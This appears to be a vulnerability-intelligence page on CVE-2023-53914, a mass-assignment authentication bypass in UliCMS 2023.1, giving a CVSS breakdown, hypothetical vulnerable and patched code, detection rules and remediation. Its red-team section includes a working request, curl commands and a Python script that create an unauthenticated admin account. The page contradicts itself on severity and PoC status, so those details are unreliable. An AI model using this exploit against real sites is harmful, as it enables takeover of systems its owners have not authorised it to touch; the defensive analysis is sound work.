☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-53914

CVE-2023-53914 Authentication Bypass in Ulicms
📅 PUBLISHED: 2025-12-17 22:44 UTC 🔄 UPDATED: 2026-09-23 19:42 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.69%
👁️
0.69% probability
17.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-53914 is a critical authentication bypass vulnerability in UliCMS 2023.1. The flaw resides in the UserController, where unauthenticated attackers can exploit mass assignment to create administrative users. By sending a crafted POST request to the admin index.php endpoint with specific parameters, an attacker can generate an admin account with full system access. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the complete compromise of confidentiality, integrity, and availability. No official patch is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

UliCMS is a proprietary content management system. No open-source package (NPM, PyPI, Go, Ruby) is directly associated with this vulnerability. The risk is limited to organizations deploying UliCMS 2023.1.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
  • Confidentiality (C): High (H) – Full read access to all data.
  • Integrity (I): High (H) – Full write access to all data.
  • Availability (A): High (H) – Full control over system availability.

Threat Level: Critical. An unauthenticated attacker can gain full administrative control over the CMS, leading to data theft, defacement, or complete server compromise.

Deep Dive & Mechanics

The vulnerability is a classic mass assignment (CWE-915) flaw in the UserController of UliCMS 2023.1. The controller likely uses a method like createUser() that accepts an array of parameters from the HTTP request and directly assigns them to a user model without proper filtering or validation.

Root Cause: The controller does not restrict which attributes can be set via mass assignment. An attacker can include parameters such as role=admin, is_admin=1, or similar, which are then written to the database, creating a user with elevated privileges.

Attack Flow:

  1. Attacker identifies the admin login endpoint (e.g., /admin/index.php).
  2. Attacker sends a POST request with parameters for a new user, including administrative role flags.
  3. The UserController processes the request and creates a user with admin privileges.
  4. Attacker logs in with the newly created admin credentials and gains full control.

Example Request:

POST /admin/index.php?action=createUser HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=attacker&password=attacker123&email=attacker@evil.com&role=admin&is_admin=1

Vulnerable vs. Patched Code

Vulnerable Code (UliCMS 2023.1):

// UserController.php
public function createUser() {
    $user = new User();
    $user->fill($_POST); // Mass assignment without whitelist
    $user->save();
}

Patched Code (Hypothetical):

// UserController.php
public function createUser() {
    $user = new User();
    $allowed = ['username', 'password', 'email']; // Whitelist
    $data = array_intersect_key($_POST, array_flip($allowed));
    $user->fill($data);
    $user->save();
}

The vulnerable code uses fill() with all POST data, allowing any attribute to be set. The patched version uses a whitelist to restrict which fields can be mass-assigned.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy UliCMS 2023.1 on a local server (e.g., using Docker or XAMPP).
  2. Ensure the admin interface is accessible at http://localhost/admin/index.php.

Exploitation Steps:

  1. Send a crafted POST request using curl:
    curl -X POST http://localhost/admin/index.php?action=createUser \
    -d "username=hacker&password=hack123&email=hacker@test.com&role=admin&is_admin=1"
    
  2. Verify the user was created by logging in:
    curl -X POST http://localhost/admin/index.php?action=login \
    -d "username=hacker&password=hack123"
    
  3. If successful, the attacker gains full admin access.

Automated Exploit (Python):

import requests

target = "http://localhost/admin/index.php"
payload = {
    "username": "attacker",
    "password": "attacker123",
    "email": "attacker@evil.com",
    "role": "admin",
    "is_admin": "1"
}
r = requests.post(target, params={"action": "createUser"}, data=payload)
if r.status_code == 200:
    print("[+] Admin user created successfully")
else:
    print("[-] Exploit failed")

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to /admin/index.php with parameters like role, is_admin, or user_level.
  • Alert on creation of new users without prior authentication.
  • Look for anomalous HTTP requests with unusual parameter names.

Mitigation:

  • Implement input validation and whitelist allowed fields in the UserController.
  • Use prepared statements or ORM features that prevent mass assignment.
  • Apply the principle of least privilege to the web application user.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /admin/index.php with parameters role=admin or is_admin=1.
    • Unusual user-agent strings (e.g., python-requests, curl).
  • Host:
    • New user accounts in the CMS database with admin privileges.
    • Suspicious log entries in web server logs showing mass assignment attempts.
  • File:
    • Modified or new files in the CMS admin directory (e.g., index.php).

Detection Engineering

YARA Rule

rule CVE_2023_53914_MassAssignment {
    meta:
        description = "Detects mass assignment attempts in UliCMS"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "CVE-2023-53914"
    strings:
        $s1 = "role=admin" ascii nocase
        $s2 = "is_admin=1" ascii nocase
        $s3 = "user_level=admin" ascii nocase
        $s4 = "POST /admin/index.php" ascii nocase
    condition:
        any of ($s1, $s2, $s3) and $s4
}

Sigma Rule

title: UliCMS Mass Assignment Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects mass assignment attempts targeting UliCMS admin user creation
author: Valters IT
date: 2025-04-08
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/index.php*'
        cs-uri-query|contains: 
            - 'role=admin'
            - 'is_admin=1'
            - 'user_level=admin'
    condition: selection
falsepositives:
    - Legitimate admin user creation (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-53914 UliCMS Mass Assignment Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php"; http_uri; content:"role=admin"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable User Registration: If not required, disable the user registration feature in UliCMS.
  2. Web Application Firewall (WAF): Deploy a WAF rule to block POST requests containing role=admin or is_admin=1 to the admin endpoint.
  3. Input Validation: Manually patch the UserController.php to whitelist allowed fields.

Long-Term Fix:

  • Apply the official patch when released by UliCMS.
  • Upgrade to a patched version of UliCMS.
  • Conduct a security audit of the entire codebase for similar mass assignment vulnerabilities.

Workaround:

  • Restrict access to the admin interface via IP whitelisting or VPN.
  • Implement additional authentication checks before user creation.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-53914/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.